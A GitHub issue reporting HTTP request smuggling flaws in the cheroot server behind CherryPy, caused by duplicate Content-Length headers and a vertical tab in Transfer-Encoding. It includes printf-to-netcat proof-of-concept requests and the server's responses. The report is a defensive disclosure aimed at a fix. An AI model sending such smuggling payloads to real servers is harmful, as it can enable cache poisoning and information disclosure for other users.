cheroot icon indicating copy to clipboard operation
cheroot copied to clipboard

Non-proper handling of Content-Length and Transfer-Encoding headers

Open playsec opened this issue 4 years ago • 2 comments

It seems like cherrypy is vulnerable to HTTP Request Smuggling. Potential HTTP pipelining issues and request smuggling attacks might be possible due to cheroot not correctly responding to HTTP requests.

1) Double Content-Length Headers

When presented with two content-length headers, cheroot ignored the first header. When the second content-length was set to zero, it caused cheroot to interpret the request body as a pipelined request.

According to RFC 7230 Section 3.3.3#4, if a message is received with multiple content-length headers with differing value, then the server must reject the message with a 400 response.

Request:

printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-Length: 1\r\n'\
'\r\n'\
'abc\r\n'\
'\r\n'\
| nc 127.0.0.1 8080

Response:

HTTP/1.1 200 OK
Date: Wed, 01 Apr 2020 10:12:37 GMT
Content-Length: 13
Content-Type: text/html;charset=utf-8
Server: CherryPy/17.4.2

Hello World!
HTTP/1.1 400 Bad Request
Content-Length: 22
Content-Type: text/plain

Request:

printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-Length: 1\r\n'\
'Content-Length: 5\r\n'\
'\r\n'\
'abc\r\n'\
'\r\n'\
| nc 127.0.0.1 8080

Response:

HTTP/1.1 200 OK
Date: Wed, 01 Apr 2020 10:15:06 GMT
Content-Length: 13
Content-Type: text/html;charset=utf-8
Server: CherryPy/17.4.2

Hello World!

so

Request:

printf 'GET / HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'Content-Length: 1\r\n'\
'Content-Length: 0\r\n'\
'\r\n'\
'GET /smuggle HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'\r\n'\
|nc 127.0.0.1 8080

As shown above, both the / and the smuggled request to the /smuggle were successfully resolved.

See this for an example https://know.bishopfox.com/advisories/twisted-version-19.10.0

playsec avatar Apr 02 '20 09:04 playsec

2) Invalid Transfer-Encoding

In this request we have a \x0b (vertical tab) before the "chunked" string (note: \x0c aka form feed also works).

Content-Length: 10
Transfer-Encoding: [\x0b]chunked

For clarity: 0x0b == vertical tab Would get parsed by Cheroot as being a chunked request, but a front-end server would use the Content-Length instead as the Transfer-Encoding header is considered invalid due to containing invalid characters.

If a front-end server does HTTP pipelining to a backend CherryPy server this could lead to HTTP request splitting which may lead to potential cache poisoning or unexpected information disclosure.

According to RFC7230 section 3.3.2: Each header field consists of a case-insensitive field name followed by a colon (":"), optional leading whitespace, the field value, and optional trailing whitespace.

And RFC7230 section 3.2.4 adds (bold added): No whitespace is allowed between the header field-name and colon. In the past, differences in the handling of such whitespace have led to security vulnerabilities in request routing and response handling. A server MUST reject any received request message that contains whitespace between a header field-name and colon with a response code of 400 (Bad Request). A proxy MUST remove any such whitespace from a response message before forwarding the message downstream.

Request:

printf 'POST / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-Encoding\x0b: chunked\r\n'\
'Content-Type: application/x-www-form-urlencoded\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
| nc 127.0.0.1 8080

or :

printf 'POST / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-Encoding: \x0bchunked\r\n'\
'Content-Type: application/x-www-form-urlencoded\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
| nc 127.0.0.1 8080

Response:

HTTP/1.1 200 OK
Date: Wed, 01 Apr 2020 10:20:48 GMT
Content-Length: 13
Content-Type: text/html;charset=utf-8
Server: CherryPy/17.4.2

Hello World!

See this for an example https://nathandavison.com/blog/haproxy-http-request-smuggling

playsec avatar Apr 02 '20 09:04 playsec

Environment:

Cheroot version: 8.3.0
CherryPy version: 17.4.2
Python version: Python 2.7.10
OS: Mac OS 10.12.6

More info on smuggling attacks: https://hackerone.com/reports/648434 https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn

playsec avatar Apr 02 '20 09:04 playsec